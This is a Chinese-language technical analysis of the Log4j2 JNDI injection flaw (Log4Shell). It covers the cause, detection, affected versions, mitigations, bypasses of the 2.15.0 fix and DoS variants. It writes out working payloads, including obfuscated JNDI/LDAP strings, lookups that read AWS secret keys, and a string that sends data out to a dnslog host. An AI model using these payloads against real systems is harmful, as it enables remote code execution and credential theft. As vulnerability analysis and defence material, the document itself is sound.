漏洞原理其实不难,简单来说就是对于${jndi:}
格式的日志默认执行JndiLoop.lookup
导致的RCE。日志的任何一部分插入${}
都会进行递归处理,也就是说log.info/error/warn
等方法如果日志内容可控,就会导致这个问题。这个漏洞本身不复杂,后续的绕过比较有趣
由于该漏洞的特性,必须要出网才可以检测,例如dnslog
的方式
在内网中也可不使用dnslog
而是自行实现伪JDNI/LDAP
的服务端用于探测
检查pom.xml
或gradle
中的依赖,是否存在log4j2-api
和log4j2-core
小于2.15.0
则存在漏洞
在JVM参数中添加-Dlog4j2.formatMsgNoLookups=true
系统环境变量中将LOG4J_FORMAT_MSG_NO_LOOKUPS
设置为true
创建log4j2.component.properties
文件并增加配置log4j2.formatMsgNoLookups=true
不重启应用情况下的修复手段参考另一个问题
修复内容限制了协议和HOST以及类型,其中类型这个东西其实没用,协议的限制中包含了LDAP
等于没限制。重点在于HOST的限制,只允许本地localhost和127.0.0.1等IP。但这里出现的问题是,加入了限制但没有捕获异常,如果产生异常会继续lookup
所以如果在URL中加入一些特殊字符,例如空格,即可导致异常绕过HOSOT限制,然后lookup
触发RCE
其中一个DOS是lookup
本身延迟等待和允许多个标签${}
导致的问题
另一个DOS是嵌套标签${}
递归解析导致栈溢出
正式版的修复只是在之前基础上捕获了异常。这个绕过本质还是绕HOST限制。使用127.0.0.1#evil.com
即可绕过,需要服务端配置泛域名,所以#前的127.0.0.1会被认为是某个子域名,而本地解析认为这是127.0.0.1绕过了HOST的限制。但该RCE仅可以在MAC OS和部分Linux平台成功
使用类似${::-J}
的方式做字符串的绕过,还可以结合upper
和lower
标签进行嵌套
有一些特殊字符的情况结合大小写转换有巧妙的效果,还可以加入垃圾字符
例如:${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}
利用其他的lookup
可以做信息泄露例如${env:USER}
和${env:AWS_SECRET_ACCESS_KEY}
在SpringBoot
情况下可以使用bundle:application
获得数据库密码等敏感信息,不过SpringBoot
默认不使用log4j2
这些敏感信息可以利用dnslog
外带${jndi:ldap://${java:version}.xxx.dnslog.cn}
利用JavaAgent改JVM中的字节码,可以直接删了JndiLookup
的功能
有公众号提出类似Shiro
改Key
的思路,利用反射把JndiLookup
删了也是一种办法
(来自于某师傅的反馈)
在最后进入lookup
时,有一部用到了try-resources
语法,这种情况下如果对反编译的class
文件下断点会存在问题
解决方案是下载源码绑定到IDEA
后在未反编译的Java
代码中下断点调试
(来自于某师傅的反馈:红队实习面试题)
不可能存在不出网的利用,也就是说不出网情况下不可能RCE
由JNDI注入的基本原理可以得知,如果网络无法到达JNDI Server
那么获取不到数据,无论是Reference
的方式或者高版本javaSerializedData
打本地gadget
或者本地工厂类,任何一种利用方式的前提条件是能够收到数据,而不出网无法获得数据